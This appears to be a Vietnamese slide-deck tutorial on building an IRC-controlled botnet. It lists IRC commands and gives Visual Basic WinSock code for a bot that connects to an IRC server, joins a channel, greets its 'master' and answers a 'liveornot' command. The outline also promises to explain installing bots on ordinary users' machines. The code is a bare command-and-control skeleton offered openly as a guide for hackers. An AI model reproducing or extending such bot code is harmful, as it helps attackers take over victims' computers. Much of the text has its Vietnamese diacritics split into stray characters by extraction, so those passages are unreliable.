Mạng botnet nền tảng

Mạng Botnet Nền tảng... Mạng Botnet được tạo nên bởi gì?... Các con bot liên lạc với hacker bằng gì?thông qua các IRC server... Các con bot đã dùng các server IRC như thế nào?... Cài bot

Mạng Botnet Nền tảng

Nội dung trình bày

1 Botnet là gì?

2 Mạng Botnet được tạo nên bởi gì?

3 Các con bot liên lạc với hacker bằng gì?

thông qua các IRC server

4 Các con bot đã dùng các server IRC như thế nào?

5 Cài bot vào máy Normal User như thế nào?

6 Cách tạo một con “Bot”

• 6.1 Điều đầu tiên mà bạn phải học là tập lệnh IRC

• 6.2 Một số Sub chính cho bot

6.1 Điều đầu tiên mà bạn phải học là tập lệnh IRC

T p l nh IRC s có s khác bi t đôi chút khi nó ch y trên các ch ậ ệ ẽ ự ệ ạ ươ ng trình qu n lý ả IRC server khác nhau

• USER <Real Name> là l nh thi t l p tên th t cho bot khi nó vào IRC ệ ế ậ ậ

server

• NICK <NickName> là l nh thi t l p nick name cho botệ ế ậ

• JOIN <Channel> là l nh cho bot truy c p vào m t "kênh" (channel), ệ ậ ộ

channel tương t nh m t room chat v yự ư ộ ậ

• PRIVMSG <Channel> : <Message> là l nh g i tin nh n t i hackerệ ử ắ ớ

6.2 Một số Sub chính cho bot

tính name là ws

1- Khai báo hằng và biến

Const Server As String = "irc.datviet.net" 'tên channel Const Port As Integer = 23 'port Const Channel As String = "NoHat" 'Kênh mà bot sẽ chui vào Dim Nick As String 'Nick của bot

2- Bạn tạo môt Form mới và kéo thả vào đó thành

phần WinSock đặt thuộc tính name là ws

Private Sub Form_Load()

ws.Connect Server, Port 'Tạo một kết nối tới server IRC

Nick = "Tester" & LTrim(RTrim(Str(Int(Rnd * 100)))) End Sub

3- Sub thực hiện việc gời command sau khi

kết nối hoàn thành

Private Sub ws_Connect()

Dim UserName, RealName As String

UserName = Nick

RealName = Nick

ws.SendData "USER " & UserName & " 0 * " & RealName & vbCrLf

ws.SendData "NICK " & Nick & vbCrLf

ws.SendData "JOIN " & Channel & vbCrLf

ws.SendData "PRIVMSG " & Channel & ":" & " Bot chao master" & vbCrLf

End Sub

4- Sub đáp trả khi bot nhận được lệnh

Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim strData As String

Dim Pos As Integer

Dim Master As String

ws.GetData strData

DoEvents

If InStr(strData, "liveornot") <> 0 Then

Pos = InStr(1, strData, "!")

Master = Mid(strData, 2, Pos - 2)

ws.SendData Replace(strData, "liveornot", "Live") & vbCrLf

ws.SendData "PRIVMSG " & Master & " " & Replace(strData, "liveornot", "Live") & vbCrLf

End If

EndSub

7 Điều khiển bot thế nào?

Đ đi u khi n bot b n hãy cho ch y th con bot trên đ làm ví d ể ề ể ạ ạ ử ể ụ

Sau đó b t m t ch ậ ộ ươ ng trình IRC Client nào đó ví d mIRC ụ

R i k t n i vào máy server là irc.datviet.net v i port 23 ( đáng nh là port 6667 nh ng không hi u sao đa ồ ế ố ớ ẽ ư ể

ph n các IRC server c a Vi t Nam l i dùng port 23 ?! ) v i m t nick tùy ý ầ ủ ệ ạ ớ ộ

gõ l nh: ệ /JOIN NoHat (ph i có d u "/" vì mIRC b t ph i th ch IRC server không b t th đâu ) ả ấ ắ ả ế ứ ắ ế

là b n đã có m t trong cùng channel v i bot c a b n ạ ặ ớ ủ ạ

sau đó hãy gõ l nh: ệ LiveOrNot (chú ý vi t hoa y chang n u không con bot nó ngu ra m t smilie ) ế ế ặ

Con bot s tr l i b n r ng: ẽ ả ờ ạ ằ Live